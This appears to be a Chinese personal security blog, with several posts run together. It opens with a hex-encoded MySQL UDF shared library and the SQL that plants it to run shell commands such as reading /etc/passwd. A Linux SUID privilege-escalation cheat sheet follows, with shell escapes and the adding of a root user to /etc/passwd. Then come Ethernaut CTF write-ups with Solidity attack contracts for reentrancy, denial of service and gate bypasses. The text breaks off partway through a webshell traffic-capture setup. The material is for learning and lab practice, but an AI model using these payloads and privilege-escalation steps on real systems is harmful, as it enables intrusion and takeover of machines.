000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400

set @a=unhex('7F454C46020101000000000...');
# Query OK, 0 row affected (0.001 sec)

select @a into dumpfile '/usr/lib64/mysql/plugin/mysql-udf.so';
# Query OK, 1 row affected (0.001 sec)

select * from mysql.func;
/*
+----------+-----+--------------+----------+
| name | ret | dl | type |
+----------+-----+--------------+----------+
| sys_eval | 0 | mysql-udf.so | function |
+----------+-----+--------------+----------+
*/

select sys_eval('cat /etc/passwd');
/*
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
mysql:x:999:999::/var/lib/mysql:/bin/bash
*/

问题

似乎没有提权?

1
2
3
4
select sys_eval('cat /etc/shadow');
/*

*/

这里环境选取的是 docker-mysql 一个镜像,默认数据库的用户是 mysql 没有完全的 root 权限,故而没有达到提权的作用;

不过结合 SSRF 可以 RCE,具体还是看 whoami 的结果;

Linux suid

执行 ls -l 命令时,会有一个 10 位数的形如:

-rwsrwsrwx

的字符串,从第二位开始,每 3 位分别代表文件所有者、组用户、其他用户对于该文件的读、写、执行权限;

s 意为 suid,如所有者 / 所属组执行权限为 x 即代表此文件在执行时其进程会以文件所有者 / 所属组的身份运行;

Set owner User ID up on execution

顾名思义,程序运行时使用所属者的权限;

例如 passwd 命令,用于修改用户密码,此时修改 /etc/passwd & /etc/shadow,需要 root 权限,这里就要用 suid 机制进行授权;

提权步骤

查找 SUID 文件

使用以下命令:

1
2
3
4
5
6
# 查找 root suid
find / -user root -perm -4000 -print 2>/dev/null
# 查找 root suid 并以长格式列出
find / -user root -perm -4000 -exec ls -ldb {} ;
# 查找所有 suid
find / -perm -u=s -type f 2>/dev/null

可利用程序

nmap

要求版本在 2.02-5.21

1
2
3
4
nmap --interactive
!sh
whoami
# root
find

find 可以执行命令;

1
2
3
touch middle
find middle -exec whoami ;
# root
vim/vi
1
openssl passwd -1 –salt abc 123456

这会生成一个散列值,可以利用 suid vim 在 /etc/passwd 中添加如下行:

1
hack:$1$abc$hash:0:0:root:/hack:/bin/bash

就成功添加了一个 root 用户可以用;

还有一种直接拿 shell:

1
2
3
4
vim.tiny
# Press ESC key
set shell=/bin/sh
shell
bash
1
2
3
bash -p
whoami
# root
less/more
1
2
less /etc/passwd
!/bin/sh
python/perl/ruby/lua/php/etc

root 身份写各自语言的代码执行;

cp

覆盖 /etc/passwd ,和 vim 相同;

mv

覆盖 /etc/passwd ,和 vim 相同;

后记

suid 没有做复现,这两天过于忙,有时间补充;

区块链学习之叁

损耗送:纵欲也是修行的一种,水木之气先行;

ethernaut - Gatekeeper Two

description

1
2
3
4
5
6
// This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
// The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
// The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

直接看gateTwo()

乍一看gateOne()gateTwo()好像冲突,因为gateOne()要求用第三方合约调用函数,而gateTwo()要求caller()(等价于msg.sender)没有代码;

只有不存在的合约和钱包合约是没有代码的;

然而,在合约构造函数执行过程中,caller()是还没有被部署到目标 block 上的,此时调用extcodesize(caller())就可以得到0,因此可以在构造函数中调用enter()成功绕过gateTwo()

再看gateThree(),一个异或,能 pass 的_gatekey值应当是:

1
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwoAttack {
constructor(address _victim) {
bytes8 gatekey;
gatekey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
_victim.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
}

}

部署即可;

ethernaut - Naught Coin

description

1
2
3
4
5
6
// NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

// Things that might help

// The ERC20 Spec
// The OpenZeppelin codebase

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

ERC20 标准定义了以上合约;

lockTokens() 这个 modifer 决定自合约被部署的开始往后十年内,transfer 函数对 player 禁用;

查看 ERC20 ,发现可以用另外一个函数transferFrom()进行转账操作,看一下这个函数有哪些限制:

part of ERC20 source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}

// 消耗 Allowance , Allowance 是什么 ?
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}

// 查询 allowances ,猜测 allowances 是 owner 给 spender 的额度?
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}

// 定义
mapping(address account => mapping(address spender => uint256)) private _allowances;

// 可以修改 _allowances ,看看对外函数
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}

// 猜测正确
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}


// 执行转账,更新余额
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}

所以可以先用playerapprove()把所有额度给第三个合约,然后再用第三方合约调transferFrom()balance()悉数转出去;

题解

approve

1
2
// 注意这个控制台操作传字符串,大数 js 处理不动
await contract.approve('0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2','1000000000000000000000000')

attack contract (0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract NaughtCoinAttack{
address private player;
address private instant;

event log(bool);

constructor(address _player,address _instant) {
player = _player;
instant = _instant;
}

function exp() public {
bytes memory data;
(, data)=instant.call(abi.encodeWithSignature("balanceOf(address)",player));
uint256 balance = abi.decode(data, (uint256));
(bool success, ) = instant.call(abi.encodeWithSignature("transferFrom(address, address, uint256)", player, address(this), balance));
emit log(success);
}
}

只肖数日便忘掉了人生的所有伤痛,就好像它们未曾来过。

区块链学习之贰

逐渐硬核起来了;

ethernaut - Vault

description

1
// Unlock the vault to pass the level!

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

区块链上数据都是透明的,private变量可读。

区块链上变量的存储

从第一个变量开始,从右往左存储,试图填满一个插槽(32字节),遇到该插槽剩余空间不够的,转向下一个插槽;

读取时使用:

1
web3.eth.getStorageAt(address,slotID);

变长数组的存储方式

变长数组,由于存储时无法确定要占用多少storage,所以采取一种特殊的存储方式:

  1. 占用一个 slot 来存储变长数组的长度,该 slot 的编号记作 n ;

  2. 存储的 slot 编号为:SHA3(n)+i,i 根据存储需要可以增加;

  3. slot 实际值为 SHA3(slot编号)

以上;

题解

得到密码即可,bytes32独占一个 slot 。

payload

1
2
await web3.eth.getStorageAt(instance,0x1);
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29');

甚至可以用getStorageAt()读一下locked,即使它是public的;

1
await web3.eth.getStorageAt(instance,0x0);

lockedfalse了;

长进

读变量可以形成一个习惯,全用getStorageAt()去读;

ethernaut - King

description

1
2
3
4
5
// The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

// Such a fun game. Your goal is to break it.

// When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

交钱获取王位,并避免你的对手在你submit的时候夺回王位;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

砸币是砸不过机器人的,关注receive()函数:

1
2
3
4
5
6
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

对手试图夺回王位,transfer()给目标合约这个过程是可控的,我们可以这个过程中把交易revert()掉;

题解

查看当前prize

1
2
3
4
await web3.eth.getStorageAt(instance,0x1);
// '275676239076594894563100840737553034228913209542'
web3.utils.hexToNumberString('0x00000000000000000000000000000000000000000000000000038d7ea4c68000')
// '1000000000000000'

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingAttack {
address public target;

constructor(address targ) public payable {
target = targ;
}

function exp() payable public {
// 如此 transfer ,自定义 gas , transfer 默认的 gas 不足以执行 instant 的 receive()
payable(target).call{value:address(this).balance,gas:1000000}("");
}

receive() external payable {
revert();
}
}

创建时给 2000000000000000 wei ;

尝试 submit ,成功;

长进

向一般题目合约转账时,可以自定义gas1000000或者默认发送所有gas

ethernaut - Re-entrancy

大名鼎鼎的重入漏洞;

description

1
2
3
4
5
6
7
8
9
// The goal of this level is for you to steal all the funds from the contract.

// Things that might help:

// Untrusted contracts can execute code where you least expect it.
// Fallback methods
// Throw/revert bubbling
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

观察withdraw

1
2
3
4
5
6
7
8
9
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

发现balances的更新发生在转账之后,故而如果我在接受合约的receive()中再调一次withdraw(),此时balances还没有更新,也就是可以成功再次触发转账,嵌套直到余额不足使call()失败为止;

更重要的一点,call()不会回退,而且默认发送所有gas

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Reentrance {
function donate(address _to) external payable ;

function withdraw(uint256 _amount) external payable ;

receive() external payable ;

}

contract ReentranceAttack {
address payable public victim;
Reentrance public c;

constructor (address payable _victim) public payable {
victim = _victim;
c = Reentrance(victim);
}

function exp() public {
c.donate{value:1000000000000000}(address(this));
c.withdraw(1000000000000000);
}

function destroy() external payable {
selfdestruct(0xde6e75832f874f0803c1685807eF1d1CD8ed8796);
}

receive() external payable {
c.withdraw(1000000000000000);
}

}

可以destroy()把自己的测试币拿回来;

ethernaut - Elevator

想起了 Rap God 里面为数不多能记住的几句歌词;

1
2
3
// Cause I know the way to get 'em motivated
// I make elevating music, you make elevator music
// 这网易云翻译的什么积罢呢我请问了

description

1
2
3
4
5
// This elevator won't let you reach the top of your building. Right?

// Things that might help:
// Sometimes solidity is not good at keeping promises.
// This Elevator expects to be used from a Building.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

第一次isLastFloor()的结果为false,第二次为true即可;

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract ElevatorAttack is Building{
bool public top;

constructor(bool _top) {
top = _top;
}

function isLastFloor(uint256) external returns (bool){
top = !top;
return top;
}
}

开始传入toptrue,第一次调用isLastFloor()返回false,第二次返回true,达到目的效果;

ethernaut - Privacy

description

1
2
3
4
5
6
7
8
9
10
11
12
// The creator of this contract was careful enough to protect the sensitive areas of its storage.

// Unlock this contract to beat the level.

// Things that might help:

// Understanding how storage works
// Understanding how parameter parsing works
// Understanding how casting works
// Tips:

// Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

题目描述很可怕;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

data可读,计算一下位置:

  • bool locked占第0个 slot;

  • uint256 ID占第1个 slot ;

  • uint8 private flatteninguint8 private denominationuint16 private awkwardness占第2个 slot ;

  • bytes32[3] private data占第3,4,5个 slot ;

data[2]在第5个 slot ;

bytesn , uintn , intn 的显式转换

这三类数据类型的共同点,都具有多种不同的长度;

由短向长转换时,可以进行隐式转换,对于uintnintn,高位会被填充使值不变;而对于bytesn,数组会向后延长,用一系列0x00填充多出来的byte

由长向短转换时则不同,由于数据可能发生损失,系统不提供隐式转换,显式转换则会发生截断

对于uintnintn,会舍去高位保留低位( 注意这里intn补码存储 );而对于bytesn,数组会舍弃后面的byte单元;

题解

回到题目,首先读取data[2]

1
2
await web3.eth.getStorageAt(instance,0x5);
// '0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'

为了转为bytes16,要取前一半,前 34 位(因为开头的'0x'),传给 unlock()

1
await contract.unlock('0x210bc33b722eb5853a8ba02dff9e264130c1a32ac266801344842632710f5b3c'.slice(0,34));

过了,好用,但我还是觉得动态类型语言傻逼,以上;

ethernaut - Gatekeeper One

description

1
2
3
4
5
// Make it past the gatekeeper and register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from the Telephone and Token levels.
// You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne()之前做过了,重点看gateTwo()gateThree()

gateTwo()涉及gasleft(),在 Remix 中写一个测试函数:

1
2
3
function testRequire() public {
require(msg.sender != tx.origin);
}

增了又删得知这个require()消耗33gas,调用时指定 gas 为一个8191的倍数加33即可;

gateThree()是截断问题,首先明确,不同位数uint做比较 , solidity 会将位数低的隐式转换为位数高的;

gateThree()的三个愿望:

  1. part1 : uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)
  2. part2 : uint32(uint64(_gateKey)) != uint64(_gateKey)
  3. part3 : uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)

哦我操地址是 20 字节我一直记错成 16 字节;

无伤大雅,看part3,要求gatekey的后 16 位是 tx.origin(钱包地址)的后 16 位( 2 字节), 因为uint16补全要与uint32相等,故 16-31 位是 0 ( 2 字节0x00);

再看part2,截断再补全与原来不等,实际上要求前 32 位( 4 字节)不全为0x00

最后part1实际上已经被part3包含了,不再赘述;

题解

这里很多运算可以拿到合约里去做,但不这样做可以省一点gas fee,优雅是有代价的孩子;

展示省gas做法:

1
2
player.slice(-4);
// '8796'

_gatekey可以为0x1000000000008796

attack contract

8888 替换成钱包的后四位;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
address public victim;
event log(bytes);
event log(bool);
event log(uint);

constructor (address _victim) {
victim = _victim;
}

function exp() public{
bool result;
bytes memory data;
for(uint i=0;i < 300;i++){
(result,data)= victim.call{gas:8191*3+i}(abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888))));
if(result){
break;
}
}
emit log(result);
}

}

长进

call 传参类型问题

坑了五个小时,从四点到九点;

这个调用:

1
abi.encodeWithSignature("enter(bytes8)",bytes8(uint64(0x1000000000008888)));

一开始是:

1
abi.encodeWithSignature("enter(bytes8)",0x1000000000008888);

这个“隐式转换”不会报错(因为 solidity 不会也无法帮助你给call()的参数下判断),但是实际上这个函数调用是注定失败的,因为uint64无法隐式转换为bytes8,以上;

然后在这道题中,你大部分情况下会认为是part2导致的revert(),反复尝试爆破,很难想到这个问题,实际上还是对自己的代码不自信,这也是我反复了五个小时的原因;

重复声明与作用域

网上某个题解的 payload , 能打通,但是有个天大的坑;

先贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA00004261;
bool result;
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(
target
).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(uint32(uint64(key)) == uint16(uint64(key)));
emit log(uint32(uint64(key)) != uint64(key));
emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
emit log(result);
}

问题很明显,for循环里面把result又声明了一遍,导致循环代码块里面的result和外面的不是一个,外面的会被赋缺省值false,且无论攻击有没有成功log都是false

他这里bytes8处理的没问题,攻击是可以成功的,但我当时 copy 了这个代码下来跑几次,log输出都是false,误以为攻击失败了,怀疑人生,又开始改循环数目,多折腾了很久;

人机

好早啊;

夏天的风我永远记得,清清楚楚的说你爱我。

webshell 抓包

小学期“网络安全课程设计”做了一个机器学习流量分析的选题,组内大佬结合我主业,发配我负责采集 PHPwebshell 流量;

两个问题:

  1. 我想用 docker 部署靶机环境,如何用 wireshark 抓 docker 流量,没干过;
  2. https 没配过;

思路是用 docker 起一个 php 环境,配好 https ,然后分别去连几种 webshell ,抓下流量;

环境配置

起镜像

镜像版本docker pull php:8.4-rc-apache-bullseye

1
2
3
docker run -d -p 9000:80 -p 9001:443 `
-v D:/works/traffics/240902webshelltraffics/html:/var/www/html `
